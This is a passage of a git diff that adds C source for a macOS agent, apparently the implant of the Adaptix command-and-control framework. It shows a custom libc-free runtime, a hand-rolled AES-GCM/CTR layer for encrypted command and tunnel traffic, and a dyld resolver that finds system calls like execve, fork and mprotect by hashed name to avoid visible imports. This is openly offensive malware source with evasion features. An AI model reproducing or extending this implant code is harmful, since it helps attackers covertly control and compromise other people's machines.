*pa - *pb; + pa++; + pb++; + } + return 0; +} + +size_t ax_strlen(const char* s) { + const char* p = s; + while (*p) p++; + return (size_t)(p - s); +} + +int ax_strcmp(const char* a, const char* b) { + while (*a && (*a == *b)) { a++; b++; } + return *(unsigned char*)a - *(unsigned char*)b; +} + +int ax_strncmp(const char* a, const char* b, size_t n) { + while (n && *a && (*a == *b)) { a++; b++; n--; } + if (n == 0) return 0; + return *(unsigned char*)a - *(unsigned char*)b; +} + +char* ax_strcpy(char* dst, const char* src) { + char* d = dst; + while ((*d++ = *src++)); + return dst; +} + +char* ax_strncpy(char* dst, const char* src, size_t n) { + char* d = dst; + while (n && (*d++ = *src++)) n--; + while (n--) *d++ = '\0'; + return dst; +} + +char* ax_strcat(char* dst, const char* src) { + char* d = dst + ax_strlen(dst); + while ((*d++ = *src++)); + return dst; +} + +char* ax_strstr(const char* haystack, const char* needle) { + if (!*needle) return (char*)haystack; + size_t nlen = ax_strlen(needle); + while (*haystack) { + if (ax_strncmp(haystack, needle, nlen) == 0) + return (char*)haystack; + haystack++; + } + return (char*)0; +} + +char* ax_strchr(const char* s, int c) { + while (*s) { + if (*s == (char)c) return (char*)s; + s++; + } + if (c == '\0') return (char*)s; + return (char*)0; +} + +/// ---- Integer conversion ---- + +int ax_atoi(const char* s) { + int result = 0, sign = 1; + while (*s == ' ') s++; + if (*s == '-') { sign = -1; s++; } + else if (*s == '+') { s++; } + while (*s >= '0' && *s <= '9') { + result = result * 10 + (*s - '0'); + s++; + } + return sign * result; +} + +int ax_hextoi(const char* s) { + unsigned int result = 0; + while (*s == ' ') s++; + if (s[0] == '0' && (s[1] == 'x' || s[1] == 'X')) s += 2; + while (1) { + char c = *s; + if (c >= '0' && c <= '9') result = (result << 4) | (unsigned)(c - '0'); + else if (c >= 'a' && c <= 'f') result = (result << 4) | (unsigned)(c - 'a' + 10); + else if (c >= 'A' && c <= 'F') result = (result << 4) | (unsigned)(c - 'A' + 10); + else break; + s++; + } + return (int)result; +} + +void ax_itoa(int val, char* buf, int base) { + char tmp[32]; + int i = 0, neg = 0; + + if (val < 0 && base == 10) { + neg = 1; + val = -val; + } + + unsigned int uval = (unsigned int)val; + do { + int digit = uval % base; + tmp[i++] = digit < 10 ? '0' + digit : 'a' + digit - 10; + uval /= base; + } while (uval > 0); + + if (neg) tmp[i++] = '-'; + + int j = 0; + while (i > 0) buf[j++] = tmp[--i]; + buf[j] = '\0'; +} + +/// ---- Random ---- + +int ax_random_bytes(void* buf, size_t len) { + // Open /dev/urandom + long fd = raw_syscall3(SYS_open, (long)"/dev/urandom", 0 /* O_RDONLY */, 0); + if (fd < 0) return -1; + + size_t total = 0; + while (total < len) { + long n = raw_syscall3(SYS_read, fd, (long)((uint8_t*)buf + total), (long)(len - total)); + if (n <= 0) { + raw_syscall1(SYS_close, fd); + return -1; + } + total += n; + } + raw_syscall1(SYS_close, fd); + return 0; +} + +/// ---- Buffer (growable byte array) ---- + +int buf_init(buffer_t* b, size_t initial_cap) { + b->data = (uint8_t*)ax_malloc(initial_cap); + if (!b->data) return -1; + b->len = 0; + b->cap = initial_cap; + return 0; +} + +int buf_append(buffer_t* b, const void* data, size_t len) { + if (b->len + len > b->cap) { + size_t new_cap = b->cap * 2; + while (new_cap < b->len + len) new_cap *= 2; + uint8_t* new_data = (uint8_t*)ax_realloc(b->data, b->cap, new_cap); + if (!new_data) return -1; + b->data = new_data; + b->cap = new_cap; + } + ax_memcpy(b->data + b->len, data, len); + b->len += len; + return 0; +} + +void buf_free(buffer_t* b) { + if (b->data) { + ax_free(b->data, b->cap); + b->data = (uint8_t*)0; + } + b->len = 0; + b->cap = 0; +} + +void buf_reset(buffer_t* b) { + b->len = 0; +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/crt.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/crt.h new file mode 100644 index 000000000..8321a62d3 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/crt.h @@ -0,0 +1,36 @@ +#ifndef CRT_H +#define CRT_H + +#include +#include + +/// Minimal custom runtime — no libc dependency for core operations +/// Memory allocation uses mmap/munmap directly + +void* ax_malloc(size_t size); +void ax_free(void* ptr, size_t size); +void* ax_realloc(void* ptr, size_t old_size, size_t new_size); + +void* ax_memset(void* dst, int val, size_t n); +void* ax_memcpy(void* dst, const void* src, size_t n); +void* ax_memmove(void* dst, const void* src, size_t n); +int ax_memcmp(const void* a, const void* b, size_t n); + +size_t ax_strlen(const char* s); +int ax_strcmp(const char* a, const char* b); +int ax_strncmp(const char* a, const char* b, size_t n); +char* ax_strcpy(char* dst, const char* src); +char* ax_strncpy(char* dst, const char* src, size_t n); +char* ax_strcat(char* dst, const char* src); +char* ax_strstr(const char* haystack, const char* needle); +char* ax_strchr(const char* s, int c); + +/// Integer conversion +int ax_atoi(const char* s); +int ax_hextoi(const char* s); +void ax_itoa(int val, char* buf, int base); + +/// Random bytes (reads /dev/urandom) +int ax_random_bytes(void* buf, size_t len); + +#endif // CRT_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/crypt.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/crypt.c new file mode 100644 index 000000000..a9d1156aa --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/crypt.c @@ -0,0 +1,417 @@ +#include "crypt.h" +#include "crt.h" + +/// ---- AES-128 Core ---- + +static const uint8_t aes_sbox[256] = { + 0x63,0x7C,0x77,0x7B,0xF2,0x6B,0x6F,0xC5,0x30,0x01,0x67,0x2B,0xFE,0xD7,0xAB,0x76, + 0xCA,0x82,0xC9,0x7D,0xFA,0x59,0x47,0xF0,0xAD,0xD4,0xA2,0xAF,0x9C,0xA4,0x72,0xC0, + 0xB7,0xFD,0x93,0x26,0x36,0x3F,0xF7,0xCC,0x34,0xA5,0xE5,0xF1,0x71,0xD8,0x31,0x15, + 0x04,0xC7,0x23,0xC3,0x18,0x96,0x05,0x9A,0x07,0x12,0x80,0xE2,0xEB,0x27,0xB2,0x75, + 0x09,0x83,0x2C,0x1A,0x1B,0x6E,0x5A,0xA0,0x52,0x3B,0xD6,0xB3,0x29,0xE3,0x2F,0x84, + 0x53,0xD1,0x00,0xED,0x20,0xFC,0xB1,0x5B,0x6A,0xCB,0xBE,0x39,0x4A,0x4C,0x58,0xCF, + 0xD0,0xEF,0xAA,0xFB,0x43,0x4D,0x33,0x85,0x45,0xF9,0x02,0x7F,0x50,0x3C,0x9F,0xA8, + 0x51,0xA3,0x40,0x8F,0x92,0x9D,0x38,0xF5,0xBC,0xB6,0xDA,0x21,0x10,0xFF,0xF3,0xD2, + 0xCD,0x0C,0x13,0xEC,0x5F,0x97,0x44,0x17,0xC4,0xA7,0x7E,0x3D,0x64,0x5D,0x19,0x73, + 0x60,0x81,0x4F,0xDC,0x22,0x2A,0x90,0x88,0x46,0xEE,0xB8,0x14,0xDE,0x5E,0x0B,0xDB, + 0xE0,0x32,0x3A,0x0A,0x49,0x06,0x24,0x5C,0xC2,0xD3,0xAC,0x62,0x91,0x95,0xE4,0x79, + 0xE7,0xC8,0x37,0x6D,0x8D,0xD5,0x4E,0xA9,0x6C,0x56,0xF4,0xEA,0x65,0x7A,0xAE,0x08, + 0xBA,0x78,0x25,0x2E,0x1C,0xA6,0xB4,0xC6,0xE8,0xDD,0x74,0x1F,0x4B,0xBD,0x8B,0x8A, + 0x70,0x3E,0xB5,0x66,0x48,0x03,0xF6,0x0E,0x61,0x35,0x57,0xB9,0x86,0xC1,0x1D,0x9E, + 0xE1,0xF8,0x98,0x11,0x69,0xD9,0x8E,0x94,0x9B,0x1E,0x87,0xE9,0xCE,0x55,0x28,0xDF, + 0x8C,0xA1,0x89,0x0D,0xBF,0xE6,0x42,0x68,0x41,0x99,0x2D,0x0F,0xB0,0x54,0xBB,0x16 +}; + +static const uint8_t aes_rcon[10] = { + 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1B, 0x36 +}; + +#define AES128_ROUNDS 10 +#define AES128_NK 4 +#define AES128_NB 4 + +// Key expansion for AES-128: 11 round keys (44 words = 176 bytes) +static void aes128_key_expand(const uint8_t* key, uint8_t* rk) { + ax_memcpy(rk, key, 16); + + for (int i = AES128_NK; i < AES128_NB * (AES128_ROUNDS + 1); i++) { + uint8_t temp[4]; + temp[0] = rk[(i-1)*4 + 0]; + temp[1] = rk[(i-1)*4 + 1]; + temp[2] = rk[(i-1)*4 + 2]; + temp[3] = rk[(i-1)*4 + 3]; + + if (i % AES128_NK == 0) { + // RotWord + uint8_t t = temp[0]; + temp[0] = temp[1]; temp[1] = temp[2]; + temp[2] = temp[3]; temp[3] = t; + // SubWord + temp[0] = aes_sbox[temp[0]]; temp[1] = aes_sbox[temp[1]]; + temp[2] = aes_sbox[temp[2]]; temp[3] = aes_sbox[temp[3]]; + // XOR rcon + temp[0] ^= aes_rcon[i/AES128_NK - 1]; + } + + rk[i*4 + 0] = rk[(i-AES128_NK)*4 + 0] ^ temp[0]; + rk[i*4 + 1] = rk[(i-AES128_NK)*4 + 1] ^ temp[1]; + rk[i*4 + 2] = rk[(i-AES128_NK)*4 + 2] ^ temp[2]; + rk[i*4 + 3] = rk[(i-AES128_NK)*4 + 3] ^ temp[3]; + } +} + +// GF(2^8) multiplication (for MixColumns) +static uint8_t gf_mul(uint8_t a, uint8_t b) { + uint8_t result = 0; + while (b) { + if (b & 1) result ^= a; + uint8_t hi = a & 0x80; + a <<= 1; + if (hi) a ^= 0x1B; // reduction polynomial + b >>= 1; + } + return result; +} + +// AES state operations (in-place on 16-byte block) +static void sub_bytes(uint8_t* state) { + for (int i = 0; i < 16; i++) + state[i] = aes_sbox[state[i]]; +} + +static void shift_rows(uint8_t* s) { + uint8_t t; + // row 1: shift left 1 + t = s[1]; s[1] = s[5]; s[5] = s[9]; s[9] = s[13]; s[13] = t; + // row 2: shift left 2 + t = s[2]; s[2] = s[10]; s[10] = t; t = s[6]; s[6] = s[14]; s[14] = t; + // row 3: shift left 3 + t = s[15]; s[15] = s[11]; s[11] = s[7]; s[7] = s[3]; s[3] = t; +} + +static void mix_columns(uint8_t* s) { + for (int c = 0; c < 4; c++) { + int i = c * 4; + uint8_t a0 = s[i], a1 = s[i+1], a2 = s[i+2], a3 = s[i+3]; + s[i] = gf_mul(a0,2) ^ gf_mul(a1,3) ^ a2 ^ a3; + s[i+1] = a0 ^ gf_mul(a1,2) ^ gf_mul(a2,3) ^ a3; + s[i+2] = a0 ^ a1 ^ gf_mul(a2,2) ^ gf_mul(a3,3); + s[i+3] = gf_mul(a0,3) ^ a1 ^ a2 ^ gf_mul(a3,2); + } +} + +static void add_round_key(uint8_t* state, const uint8_t* rk, int round) { + for (int i = 0; i < 16; i++) + state[i] ^= rk[round * 16 + i]; +} + +// Encrypt one 16-byte block +static void aes128_encrypt_block(const uint8_t* in, uint8_t* out, const uint8_t* rk) { + uint8_t state[16]; + ax_memcpy(state, in, 16); + + add_round_key(state, rk, 0); + + for (int round = 1; round < AES128_ROUNDS; round++) { + sub_bytes(state); + shift_rows(state); + mix_columns(state); + add_round_key(state, rk, round); + } + + sub_bytes(state); + shift_rows(state); + add_round_key(state, rk, AES128_ROUNDS); + + ax_memcpy(out, state, 16); +} + +/// ---- GCM Mode ---- + +// GF(2^128) multiplication for GHASH +// Using bit-by-bit method (simple, ~200 iterations per multiply) +static void ghash_mul(uint8_t* x, const uint8_t* h) { + uint8_t z[16] = {0}; + uint8_t v[16]; + ax_memcpy(v, h, 16); + + for (int i = 0; i < 128; i++) { + if (x[i / 8] & (0x80 >> (i % 8))) { + for (int j = 0; j < 16; j++) z[j] ^= v[j]; + } + // v = v >> 1 in GF(2^128) with reduction R = 0xE1000...0 + uint8_t carry = v[15] & 1; + for (int j = 15; j > 0; j--) + v[j] = (v[j] >> 1) | (v[j-1] << 7); + v[0] >>= 1; + if (carry) v[0] ^= 0xE1; + } + + ax_memcpy(x, z, 16); +} + +// GHASH: process AAD and ciphertext +static void ghash(const uint8_t* h, const uint8_t* data, size_t data_len, uint8_t* out) { + ax_memset(out, 0, 16); + size_t blocks = data_len / 16; + for (size_t i = 0; i < blocks; i++) { + for (int j = 0; j < 16; j++) + out[j] ^= data[i * 16 + j]; + ghash_mul(out, h); + } + // Handle partial last block + size_t rem = data_len % 16; + if (rem > 0) { + for (size_t j = 0; j < rem; j++) + out[j] ^= data[blocks * 16 + j]; + ghash_mul(out, h); + } +} + +// Increment counter (last 4 bytes, big-endian) +static void inc32(uint8_t* counter) { + for (int i = 15; i >= 12; i--) { + if (++counter[i]) break; + } +} + +// AES-CTR: XOR data with AES(counter) stream +static void aes_ctr(const uint8_t* rk, uint8_t* counter, + const uint8_t* in, uint8_t* out, size_t len) { + uint8_t keystream[16]; + size_t offset = 0; + while (offset < len) { + aes128_encrypt_block(counter, keystream, rk); + inc32(counter); + size_t chunk = len - offset; + if (chunk > 16) chunk = 16; + for (size_t i = 0; i < chunk; i++) + out[offset + i] = in[offset + i] ^ keystream[i]; + offset += chunk; + } +} + +/// ---- Public API ---- + +uint8_t* aes128_gcm_encrypt(const uint8_t* plaintext, size_t plaintext_len, + const uint8_t* key, size_t* out_len) { + uint8_t rk[176]; // 11 round keys × 16 bytes + aes128_key_expand(key, rk); + + // H = AES_K(0^128) + uint8_t h[16] = {0}; + aes128_encrypt_block(h, h, rk); + + // Generate random nonce (12 bytes) + uint8_t nonce[GCM_NONCE_SIZE]; + ax_random_bytes(nonce, GCM_NONCE_SIZE); + + // J0 = nonce || 0x00000001 + uint8_t j0[16] = {0}; + ax_memcpy(j0, nonce, GCM_NONCE_SIZE); + j0[15] = 1; + + // Counter starts at J0 + 1 for CTR encryption + uint8_t counter[16]; + ax_memcpy(counter, j0, 16); + inc32(counter); + + // Allocate output: nonce + ciphertext + tag + *out_len = GCM_NONCE_SIZE + plaintext_len + GCM_TAG_SIZE; + uint8_t* output = (uint8_t*)ax_malloc(*out_len); + if (!output) return (uint8_t*)0; + + // Copy nonce to output + ax_memcpy(output, nonce, GCM_NONCE_SIZE); + + // Encrypt plaintext to output + nonce_size + uint8_t* ct = output + GCM_NONCE_SIZE; + if (plaintext_len > 0) { + aes_ctr(rk, counter, plaintext, ct, plaintext_len); + } + + // Compute GHASH(AAD || ciphertext || lengths) + // No AAD in our protocol, so GHASH just covers ciphertext + length block + uint8_t ghash_out[16] = {0}; + + // Process ciphertext blocks + size_t ct_blocks = plaintext_len / 16; + for (size_t i = 0; i < ct_blocks; i++) { + for (int j = 0; j < 16; j++) + ghash_out[j] ^= ct[i * 16 + j]; + ghash_mul(ghash_out, h); + } + size_t ct_rem = plaintext_len % 16; + if (ct_rem > 0) { + for (size_t j = 0; j < ct_rem; j++) + ghash_out[j] ^= ct[ct_blocks * 16 + j]; + ghash_mul(ghash_out, h); + } + + // Final length block: [AAD_len_bits (64-bit BE)][CT_len_bits (64-bit BE)] + uint8_t len_block[16] = {0}; + uint64_t ct_bits = (uint64_t)plaintext_len * 8; + // AAD length = 0 (first 8 bytes stay zero) + len_block[8] = (uint8_t)(ct_bits >> 56); + len_block[9] = (uint8_t)(ct_bits >> 48); + len_block[10] = (uint8_t)(ct_bits >> 40); + len_block[11] = (uint8_t)(ct_bits >> 32); + len_block[12] = (uint8_t)(ct_bits >> 24); + len_block[13] = (uint8_t)(ct_bits >> 16); + len_block[14] = (uint8_t)(ct_bits >> 8); + len_block[15] = (uint8_t)(ct_bits); + for (int j = 0; j < 16; j++) + ghash_out[j] ^= len_block[j]; + ghash_mul(ghash_out, h); + + // Tag = GHASH ^ AES_K(J0) + uint8_t tag[16]; + aes128_encrypt_block(j0, tag, rk); + for (int j = 0; j < 16; j++) + tag[j] ^= ghash_out[j]; + + // Append tag + ax_memcpy(output + GCM_NONCE_SIZE + plaintext_len, tag, GCM_TAG_SIZE); + + // Zero sensitive data + ax_memset(rk, 0, sizeof(rk)); + ax_memset(h, 0, sizeof(h)); + + return output; +} + +uint8_t* aes128_gcm_decrypt(const uint8_t* data, size_t data_len, + const uint8_t* key, size_t* out_len) { + if (data_len < GCM_NONCE_SIZE + GCM_TAG_SIZE) + return (uint8_t*)0; + + size_t ct_len = data_len - GCM_NONCE_SIZE - GCM_TAG_SIZE; + const uint8_t* nonce = data; + const uint8_t* ct = data + GCM_NONCE_SIZE; + const uint8_t* tag = data + GCM_NONCE_SIZE + ct_len; + + uint8_t rk[176]; + aes128_key_expand(key, rk); + + // H = AES_K(0^128) + uint8_t h[16] = {0}; + aes128_encrypt_block(h, h, rk); + + // J0 = nonce || 0x00000001 + uint8_t j0[16] = {0}; + ax_memcpy(j0, nonce, GCM_NONCE_SIZE); + j0[15] = 1; + + // Verify tag first (before decryption) + uint8_t ghash_out[16] = {0}; + + size_t ct_blocks = ct_len / 16; + for (size_t i = 0; i < ct_blocks; i++) { + for (int j = 0; j < 16; j++) + ghash_out[j] ^= ct[i * 16 + j]; + ghash_mul(ghash_out, h); + } + size_t ct_rem = ct_len % 16; + if (ct_rem > 0) { + for (size_t j = 0; j < ct_rem; j++) + ghash_out[j] ^= ct[ct_blocks * 16 + j]; + ghash_mul(ghash_out, h); + } + + uint8_t len_block[16] = {0}; + uint64_t ct_bits = (uint64_t)ct_len * 8; + len_block[8] = (uint8_t)(ct_bits >> 56); + len_block[9] = (uint8_t)(ct_bits >> 48); + len_block[10] = (uint8_t)(ct_bits >> 40); + len_block[11] = (uint8_t)(ct_bits >> 32); + len_block[12] = (uint8_t)(ct_bits >> 24); + len_block[13] = (uint8_t)(ct_bits >> 16); + len_block[14] = (uint8_t)(ct_bits >> 8); + len_block[15] = (uint8_t)(ct_bits); + for (int j = 0; j < 16; j++) + ghash_out[j] ^= len_block[j]; + ghash_mul(ghash_out, h); + + uint8_t computed_tag[16]; + aes128_encrypt_block(j0, computed_tag, rk); + for (int j = 0; j < 16; j++) + computed_tag[j] ^= ghash_out[j]; + + // Constant-time tag comparison (anti-timing) + uint8_t diff = 0; + for (int j = 0; j < GCM_TAG_SIZE; j++) + diff |= computed_tag[j] ^ tag[j]; + + if (diff != 0) { + ax_memset(rk, 0, sizeof(rk)); + ax_memset(h, 0, sizeof(h)); + return (uint8_t*)0; // Authentication failed + } + + // Decrypt + *out_len = ct_len; + uint8_t* plaintext = (uint8_t*)ax_malloc(ct_len > 0 ? ct_len : 1); + if (!plaintext) { + ax_memset(rk, 0, sizeof(rk)); + return (uint8_t*)0; + } + + uint8_t counter[16]; + ax_memcpy(counter, j0, 16); + inc32(counter); + + if (ct_len > 0) { + aes_ctr(rk, counter, ct, plaintext, ct_len); + } + + ax_memset(rk, 0, sizeof(rk)); + ax_memset(h, 0, sizeof(h)); + + return plaintext; +} + +/// ---- Public AES-CTR wrappers (for tunnel/terminal) ---- + +void aes128_expand_key(const uint8_t* key, uint8_t* round_keys) { + aes128_key_expand(key, round_keys); +} + +void aes128_ctr_init(aes128_ctr_ctx_t* ctx, const uint8_t* key, const uint8_t* iv) { + aes128_key_expand(key, ctx->round_keys); + for (int i = 0; i < 16; i++) ctx->counter[i] = iv[i]; + ctx->ks_offset = 16; // force generation on first use (no cached keystream) + for (int i = 0; i < 16; i++) ctx->keystream[i] = 0; +} + +void aes128_ctr_process(aes128_ctr_ctx_t* ctx, + const uint8_t* in, uint8_t* out, size_t len) { + size_t pos = 0; + + // Consume any remaining bytes from the current keystream block + while (pos < len && ctx->ks_offset < 16) { + out[pos] = in[pos] ^ ctx->keystream[ctx->ks_offset]; + ctx->ks_offset++; + pos++; + } + + // Process full blocks + while (pos + 16 <= len) { + aes128_encrypt_block(ctx->counter, ctx->keystream, ctx->round_keys); + inc32(ctx->counter); + for (int i = 0; i < 16; i++) + out[pos + i] = in[pos + i] ^ ctx->keystream[i]; + pos += 16; + } + + // Handle final partial block (cache remainder for next call) + if (pos < len) { + aes128_encrypt_block(ctx->counter, ctx->keystream, ctx->round_keys); + inc32(ctx->counter); + ctx->ks_offset = 0; + while (pos < len) { + out[pos] = in[pos] ^ ctx->keystream[ctx->ks_offset]; + ctx->ks_offset++; + pos++; + } + } +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/crypt.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/crypt.h new file mode 100644 index 000000000..0de8400dd --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/crypt.h @@ -0,0 +1,54 @@ +#ifndef CRYPT_H +#define CRYPT_H + +#include +#include + +/// AES-128-GCM encryption/decryption +/// Format: [nonce 12 bytes][ciphertext][tag 16 bytes] +/// Key: 16 bytes (AES-128) +/// Matches Go's crypto/aes + cipher.NewGCM with 16-byte key + +#define AES_KEY_SIZE 16 +#define AES_BLOCK_SIZE 16 +#define GCM_NONCE_SIZE 12 +#define GCM_TAG_SIZE 16 + +// Encrypt: allocates output buffer [nonce][ciphertext][tag] +// Returns output and sets *out_len. Caller must free output. +uint8_t* aes128_gcm_encrypt(const uint8_t* plaintext, size_t plaintext_len, + const uint8_t* key, + size_t* out_len); + +// Decrypt: allocates output buffer (plaintext) +// Input format: [nonce 12B][ciphertext][tag 16B] +// Returns plaintext and sets *out_len. Caller must free output. +// Returns NULL on authentication failure. +uint8_t* aes128_gcm_decrypt(const uint8_t* data, size_t data_len, + const uint8_t* key, + size_t* out_len); + +/// AES-128-CTR for tunnel/terminal streaming +/// Key: 16 bytes, IV: 16 bytes (used as initial counter) + +/// Expand AES-128 key into round keys (176 bytes) +void aes128_expand_key(const uint8_t* key, uint8_t* round_keys); + +/// CTR stream context — preserves partial keystream between calls +/// This matches Go's cipher.NewCTR behavior where partial blocks +/// are carried across calls. +typedef struct { + uint8_t round_keys[176]; + uint8_t counter[16]; + uint8_t keystream[16]; // cached keystream block + uint8_t ks_offset; // how many bytes used in current keystream (0-16) +} aes128_ctr_ctx_t; + +/// Initialize CTR context with key and IV +void aes128_ctr_init(aes128_ctr_ctx_t* ctx, const uint8_t* key, const uint8_t* iv); + +/// Process data with CTR stream (preserves partial block state) +void aes128_ctr_process(aes128_ctr_ctx_t* ctx, + const uint8_t* in, uint8_t* out, size_t len); + +#endif // CRYPT_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/dyld_resolve.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/dyld_resolve.c new file mode 100644 index 000000000..16bdb1d16 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/dyld_resolve.c @@ -0,0 +1,322 @@ +#include "dyld_resolve.h" +#include "crt.h" + +#include +#include +#include + +/// Global resolved API table +resolved_apis_t g_apis; + +/// DJB2 hash — case-insensitive, seeded +/// Matches Go's djb2a(seed, strings.ToLower(s)) +uint32_t djb2_hash(const char* str) { + if (!str) return 0; + uint32_t hash = DJB2_SEED; + int c; + while ((c = *str++)) { + if (c >= 'A' && c <= 'Z') + c += 0x20; // lowercase + hash = ((hash << 5) + hash) + (uint32_t)c; + } + return hash; +} + +/// Extract basename from a path: "/usr/lib/libSystem.B.dylib" → "libSystem.B.dylib" +static const char* path_basename(const char* path) { + const char* last = path; + while (*path) { + if (*path == '/') last = path + 1; + path++; + } + return last; +} + +/// Resolve a dylib by DJB2 hash of its basename +void* dyld_resolve_lib(uint32_t name_hash) { + uint32_t count = _dyld_image_count(); + for (uint32_t i = 0; i < count; i++) { + const char* name = _dyld_get_image_name(i); + if (!name) continue; + + const char* base = path_basename(name); + if (djb2_hash(base) == name_hash) { + return (void*)_dyld_get_image_header(i); + } + } + return (void*)0; +} + +/// Resolve a symbol within a Mach-O image by DJB2 hash +/// Parses the Mach-O header → finds LC_SYMTAB → walks nlist entries +void* dyld_resolve_sym(void* image_header, uint32_t symbol_hash) { + if (!image_header) return (void*)0; + + const struct mach_header_64* header = (const struct mach_header_64*)image_header; + + // Verify magic + if (header->magic != MH_MAGIC_64) return (void*)0; + + // Find LC_SYMTAB load command + const struct load_command* cmd = (const struct load_command*)(header + 1); + const struct symtab_command* symtab = (const struct symtab_command*)0; + intptr_t slide = 0; + intptr_t linkedit_base = 0; + intptr_t text_base = 0; + + // First pass: find __LINKEDIT and __TEXT segments for slide calculation + const struct load_command* cmd_iter = cmd; + for (uint32_t i = 0; i < header->ncmds; i++) { + if (cmd_iter->cmd == LC_SEGMENT_64) { + const struct segment_command_64* seg = (const struct segment_command_64*)cmd_iter; + if (seg->segname[0] == '_' && seg->segname[1] == '_' && + seg->segname[2] == 'L' && seg->segname[3] == 'I' && + seg->segname[4] == 'N' && seg->segname[5] == 'K') { + // __LINKEDIT + linkedit_base = (intptr_t)(seg->vmaddr - seg->fileoff); + } + if (seg->segname[0] == '_' && seg->segname[1] == '_' && + seg->segname[2] == 'T' && seg->segname[3] == 'E' && + seg->segname[4] == 'X' && seg->segname[5] == 'T' && + seg->segname[6] == '\0') { + // __TEXT + text_base = (intptr_t)seg->vmaddr; + } + } + cmd_iter = (const struct load_command*)((const uint8_t*)cmd_iter + cmd_iter->cmdsize); + } + + // Calculate ASLR slide + slide = (intptr_t)header - text_base; + + // Second pass: find LC_SYMTAB + cmd_iter = cmd; + for (uint32_t i = 0; i < header->ncmds; i++) { + if (cmd_iter->cmd == LC_SYMTAB) { + symtab = (const struct symtab_command*)cmd_iter; + break; + } + cmd_iter = (const struct load_command*)((const uint8_t*)cmd_iter + cmd_iter->cmdsize); + } + + if (!symtab || symtab->nsyms == 0) return (void*)0; + + // Get string table and symbol table addresses + const char* strtab = (const char*)(linkedit_base + slide + symtab->stroff); + const struct nlist_64* symbols = (const struct nlist_64*)(linkedit_base + slide + symtab->symoff); + + // Walk symbol table + for (uint32_t i = 0; i < symtab->nsyms; i++) { + const struct nlist_64* sym = &symbols[i]; + + // Skip debug, undefined, and non-external symbols + if ((sym->n_type & N_STAB) != 0) continue; // debug symbol + if ((sym->n_type & N_TYPE) == N_UNDF) continue; // undefined + if ((sym->n_type & N_EXT) == 0) continue; // not exported + + uint32_t str_idx = sym->n_un.n_strx; + const char* sym_name = &strtab[str_idx]; + + // Skip leading underscore (Mach-O convention) + if (sym_name[0] == '_') sym_name++; + + if (djb2_hash(sym_name) == symbol_hash) { + return (void*)((intptr_t)sym->n_value + slide); + } + } + + return (void*)0; +} + +/// Initialize resolver — resolve critical APIs from libSystem +int dyld_resolver_init(void) { + ax_memset(&g_apis, 0, sizeof(g_apis)); + + // libSystem.B.dylib contains all BSD/POSIX functions on macOS + // It's always loaded (it's the macOS equivalent of libc) + + // We need to find libSystem by hash + // Try multiple names since dyld may list it differently + void* libsystem = (void*)0; + uint32_t count = _dyld_image_count(); + + for (uint32_t i = 0; i < count; i++) { + const char* name = _dyld_get_image_name(i); + if (!name) continue; + const char* base = path_basename(name); + + // Match "libSystem.B.dylib" or "libsystem_*" components + // But we primarily want libSystem.B.dylib which re-exports everything + uint32_t h = djb2_hash(base); + + // Check against our expected hash + // Note: the hash value depends on DJB2_SEED, so we compute at runtime + uint32_t expected = djb2_hash("libSystem.B.dylib"); + if (h == expected) { + libsystem = (void*)_dyld_get_image_header(i); + break; + } + } + + // If not found by exact name, try to find libc or libsystem_c + if (!libsystem) { + for (uint32_t i = 0; i < count; i++) { + const char* name = _dyld_get_image_name(i); + if (!name) continue; + const char* base = path_basename(name); + if (djb2_hash(base) == djb2_hash("libsystem_c.dylib")) { + libsystem = (void*)_dyld_get_image_header(i); + break; + } + } + } + + if (!libsystem) return -1; + + // libSystem.B.dylib re-exports from sub-libraries + // Symbols may be in libsystem_c, libsystem_kernel, libsystem_pthread, etc. + // We need to search multiple images + + // Collect all libsystem_* images + void* images[32]; + int image_count = 0; + + for (uint32_t i = 0; i < count && image_count < 32; i++) { + const char* name = _dyld_get_image_name(i); + if (!name) continue; + + // Check if path contains "libsystem_" or "libSystem" + int is_system = 0; + const char* p = name; + while (*p) { + if (p[0] == 'l' && p[1] == 'i' && p[2] == 'b') { + if ((p[3] == 's' || p[3] == 'S') && + (p[4] == 'y' || p[4] == 'Y') && + (p[5] == 's' || p[5] == 'S')) { + is_system = 1; + break; + } + } + p++; + } + if (is_system) { + images[image_count++] = (void*)_dyld_get_image_header(i); + } + } + + // Also add libpthread if present + for (uint32_t i = 0; i < count && image_count < 32; i++) { + const char* name = _dyld_get_image_name(i); + if (!name) continue; + const char* base = path_basename(name); + if (base[0] == 'l' && base[1] == 'i' && base[2] == 'b' && + base[3] == 'p' && base[4] == 't' && base[5] == 'h') { + images[image_count++] = (void*)_dyld_get_image_header(i); + break; + } + } + + // Helper: resolve across all system images + #define RESOLVE(field, name_str) do { \ + uint32_t _h = djb2_hash(name_str); \ + for (int _i = 0; _i < image_count && !g_apis.field; _i++) { \ + g_apis.field = dyld_resolve_sym(images[_i], _h); \ + } \ + } while(0) + + // ── File I/O ── + RESOLVE(fn_open, "open"); + RESOLVE(fn_close, "close"); + RESOLVE(fn_read, "read"); + RESOLVE(fn_write, "write"); + RESOLVE(fn_stat, "stat"); + RESOLVE(fn_fstat, "fstat"); + RESOLVE(fn_unlink, "unlink"); + RESOLVE(fn_rename, "rename"); + RESOLVE(fn_mkdir, "mkdir"); + RESOLVE(fn_opendir, "opendir"); + RESOLVE(fn_readdir, "readdir"); + RESOLVE(fn_closedir, "closedir"); + RESOLVE(fn_getcwd, "getcwd"); + RESOLVE(fn_chdir, "chdir"); + RESOLVE(fn_copyfile, "copyfile"); + RESOLVE(fn_rmdir, "rmdir"); + RESOLVE(fn_rewinddir, "rewinddir"); + + // ── Memory ── + RESOLVE(fn_mmap, "mmap"); + RESOLVE(fn_munmap, "munmap"); + RESOLVE(fn_mprotect, "mprotect"); + + // ── Process ── + RESOLVE(fn_fork, "fork"); + RESOLVE(fn_execve, "execve"); + RESOLVE(fn_execvp, "execvp"); + RESOLVE(fn_execl, "execl"); 